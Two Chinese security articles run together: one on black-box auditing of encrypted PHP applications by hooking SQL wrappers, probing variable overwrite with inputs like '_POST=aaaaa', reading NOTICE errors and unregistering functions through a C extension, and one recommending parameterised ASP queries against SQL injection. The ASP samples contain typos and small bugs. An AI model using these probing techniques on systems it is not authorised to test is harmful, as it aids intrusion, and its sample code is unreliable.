        在一些程序破解里,经常有一个说法叫做Hook,其实我们在进行我们的测试的时候也可以进行简单的Hook。一个站点的SQL查询里经常蕴涵了很多的信息,如果知道了进行某个操作要用的SQL查询对我们的测试是很有用处的。我们有好几个方法,譬如更改php的mysql_query函数,在 Mysql方面做手脚,这里我们还是简单点看看应用层能做什么吧!一般的PHP代码都喜欢将Mysql操作封装起来放到一个文件里,我们就可以将这个文件替换掉,自己实现他需要实现的函数,在其中将他运行的SQL语句断下来保存(Thx Saiy),然后我们就可以分析这些SQL查询了,同样的道理,我们完全可以做出假的Function来到达猜测某些函数的功能的目的,在假的函数里用如下func_get_args函数就可以截获传入的参数。当然,这对于函数内部的细节还是不清楚的,但是很多时候已经足够了,起码把黑盒由文件级别降低到函数级别了,呵呵。
        而对于程序本身我们能做什么呢?对于一个程序的安全性我们通常关注的有他处理参数的方式,他如何对待危险函数的,他的变量有不有正确的初始化......等等,通过上面的思想我们就大概能做这些事了:)

1 利用PHP自身的设置猜测程序处理参数的方式 

        一个PHP程序是要处理参数的,在代码中程序如何处理我们提交的变量是很重要的。譬如一些程序为了兼容所有的PHP环境,都会在开始释放变量以实现在register globals = off的时候程序一样能运行,并且为了在GPC = off 的时候程序不出问题,一般都会做addslashes处理,但是也并不是所有的程序都能正确处理好,所以我们通过更改PHP.ini的设置就可以大致推测出程序是如何处理输入的参数的。譬如,我们将register globals 设置为 off,我们然后include某个文件(譬如index.php),然后在代码的最后print_r($GLOBALS)来查看当前符号表里是不是有我们提交的参数,如果有的话就证明程序是将变量释放的,然后我们提交一些危险的变量如php?_POST=aaaaa然后看看$_POST的内容就可以知道是不是有变量覆盖的问题了,代码流程如下:

<?php
include 'index.php';
print_r($GLOBALS);
?>

当然,之前需要设置register global = off

2 利用PHP自身的出错机制

        在PHP运行过程中,可以根据自定义的错误级别捕捉程序中的一些信息,默认情况下对未初始化这些信息并不做判断,但是没有初始化的变量确能给我们有用的信息。一些常见的文件包含漏洞就是都是由变量未初始化造成的。当我们把运行级别错误设置为NOTICE时就可以看到这些信息了,但是也不排除有程序人为地在运行过程中修改运行级别,后面我会说说对付这种的方法。找到未初始化变量之后我们就可以试着提交它,来看程序的
反映,结合功能以及变量名猜测程序的写法,通常可以挖掘一些漏洞。

3 结合php扩展

        这一来就有点向底层靠了,PHP自己是提供了一些查询系统状态的函数如上面提供的get_defined_vars之类,但是这些是远远不够的,但是PHP本身又不像js那样覆盖系统原有的函数就是不允许函数重定义,这就给我们带来了麻烦,譬如我们想跟踪程序有不有调用preg_replace函数,并且想知道里面的参数形式,我们是没有办法的,但是利用PHP扩展就变得可能了,我们可以类似于一种Hook的方法来实现这些。譬如想调查 preg_replace的话,我们先将preg_replace这个函数从函数表里Dump成preg_replace_bak一份,然后 create_function建立我们自己的函数,我们自己的函数目的很简单,先保存参数然后调用原来的preg_replace_bak函数并返回结果,这样就可以监视脚本里这个函数的调用情况了。我这里有个简单的从函数表里删除函数的代码:

删除函数的一个php扩展代码

PHP_FUNCTION(fuck_fun)

{

char *function;
int function_len;
zval **findfun;

if (ZEND_NUM_ARGS() != 1 || zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC,"s", &function, &function_len) == FAILURE) {
WRONG_PARAM_COUNT;
}

TSRMLS_FETCH();

if (zend_hash_find(EG(function_table), function, strlen(function)+1,(void**)&findfun)==SUCCESS) {
php_printf("Find function %s OK\r\n",function);
}
else {
php_printf("Cann't find function %s\r\n",function);
}

if (zend_hash_del(EG(function_table), function, strlen(function)+1)==SUCCESS) {
php_printf("%s Unregister OK\r\n",function);
}
else {
php_printf("%s Unregister Faild\r\n",function);
}
RETVAL_LONG(42);
return;
}

4 再下去呢?再下去就是修改PHP内核了,就有点超出本文的范围了。文章要说明的是加密不是一切,通过修改程序运行环境以及一些小技巧然后再结合黑盒测试的方法,找出一些加密过的程序的安全漏洞还是可能的,本人就检测过国内一些加密程序,比较大的漏洞还是有的.

ASP也使用ORM——给ASP上所有的SQL注入画上句号

文章作者:kj021320
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

注意:本文章首发無名氏CSDNBLOG,后由原创作者kj021320友情提交到邪恶八进制信息安全团队论坛。

一般写ASP PHP代码的朋友估计很多都是采用直接操作SQL的吧~
看以下的代码

<%
   dim conn,rs
   set conn=CreateObject("Adodb.Connection")
   conn.open ....
   set rs=conn.execute("select * from news");
   ...
   遍历 rs....
%>

这样实现速度快是肯定的了,但是在结构逻辑上面1条半条语句当然不觉得怎样!语句多了问题也就来了!
参数没过滤啊,SQL存在注入啊等等~OK 现在我们来换个设计模型!
采用 3层结构 + orM
ORM : OBJECT RELATION MAPPING
那什么是 orM技术呢? 熟悉JAVA .NET开发的朋友一定很清楚...就是对象关系映射
把表映射为类 字段映射为属性  而记录则映射为对象...现在JAVA的ORM持久层框架N多
例如hibernate ibatis EntityBean(EJB其中一种)

那在ASP上面呢? 我们也一样可以实现.等等介绍

3层结构 : WEB展现层 中间层 持久层

以下有一个news 的表 简单一点的

Copy code

create table news(
   id int,
   title varchar(200),
   contect varchar(50000)
)

我们把他映射为类

Copy code

<%
Class News
   private id,title,contect
   Sub setID(sid)
       id=Cint(sid)
   End Sub
   Function getID
       getID=id
   End Function
   Sub setTitle(stitle)
       title=mid(stitle,1,200)'限制了长度
   End Sub

   ....
End Class
%>

然后我们再设计如何操作数据库转换为对象的代码

Copy code

<%
Class NewsDataAccessObject
   dim conn,rs,cmd
   '查询一篇新闻
   Function getNewsByID(id)
       set conn=Applcation("connection")'连接池里面获取一个连接
       set cmd=GetCmd() ' GETCMD函数实现 return createobject("Adodb.Command")
       selectString="select * from NEWS where id = @id"

       cmd.ActiveConnection = conn
       cmd.CommandType = adCmdText ' Const adCmdText=1
       cmd.CommandText = selectString
       '为刚刚的的@id追加参数,常量 adInteger = 3  adParamInput=1
       cmd.Parameters.Append cmd.CreateParameter("@id", adInteger, adParamInput, , id)
       '运行SQL语句 返回结果集合
       set rs=cmd.execute()
       dim anews
       set anew=new News
       if rs.eof then
       else    
           anew.setID(rs("id")&"")
           anew.setTitle(rs("title")&"")
           anew.setContect(rs("Contect")&"")
       end if    
       rs.close
       set rs=nothing
       set cmd=nothing
       set conn=nothing
       set getNewsByID=anew
   End Function
   '插入一篇新闻
   Function addNews(anew)
       dim conn,cmd
       if isempty(anew) then addNews=false
       set conn=Applcation("connection")'连接池里面获取一个连接
       set cmd=GetCmd() ' GETCMD函数实现 return createobject("Adodb.Command")
       insertString="insert into NEWS(id,title,contect) values( @id , @title , @contect )"
       cmd.ActiveConnection = conn
       cmd.CommandType = adCmdText ' Const adCmdText=1
       cmd.CommandText = insertString
       '为刚刚的的@id @title @contect追加参数,常量 adInteger = 3  adParamInput=1 adVarWChar = 202
       cmd.Parameters.Append cmd.CreateParameter("@id", adInteger, adParamInput, , anew.getID() )
       cmd.Parameters.Append cmd.CreateParameter("@title",adVarWChar, adParamInput, 200 , anew.getTitle() )
       cmd.Parameters.Append cmd.CreateParameter("@contect",adVarWChar, adParamInput, 50000 , anew.getConect() )
       
       '运行SQL语句
       cmd.execute()
       set cmd=nothing
       set conn=nothing
       addNews=true
   End Function
   Function findByTitle(stitle)
       ....
   End Function
   Function getPageNews(page,size)
       ....
   End Function
End Class
%>

以上就是对数据库操作然后把结果封装到对象里面 或者把对象写入数据库
这样实现虽然速度上面会稍慢 但是总体逻辑结构非常明显,不需要关心变量是否已经给过滤或者多过滤
而web页面层的设计人员更多的关注于界面方面
以下为提交添加新闻代码

Copy code

<%
   dim id,title,contect,anew,dao
   id=Request("id")
   title=Request.Form("title")
   contect=Request.Form("contect")
   set anew=new NEWS
   anew.setID(id)
   anew.setTitle(title)
   anew.setContect(contect)
   set dao=new NewsDataAccessObject
   if dao.addNews(anew) then
       'response.write
       echo "success"
   else
       echo "error"
   end if
%>

把新闻查出来显示

Copy code

<%
   dim id,dao,anew
   id=Request("id")
   set dao=new NewsDataAccessObject
   set anew=dao.getNewsByID(id)
   if anew.getID()<>"" then
%>
标题:<%=anew.getTitle()%>
内容:<%=anew.getContect()%>

.....

以上片段代码如有错漏谢谢指点~~~
使用这样的设计方式就根本不需要像XXXBLOG XXXBBS XXX文章系统那样
忘记Replace(SQL,"'","''") 而产生injection了!
对于页面的整洁性而言 也不会出现SQL语句,连接等 美工负责好自己的工作然后把对象的属性放到相应的位置就OK
而有可能有朋友会觉得 用户认证方面呢!那更省事了把用户表的用户对象放到session里面就OK

Copy code

<%
   if isempty(session("user")) or session("user")=&q
uot;" then
       '跳转
   else
       set auser=session("user")
       echo "欢迎你:" & auser.getName()
%>

全文完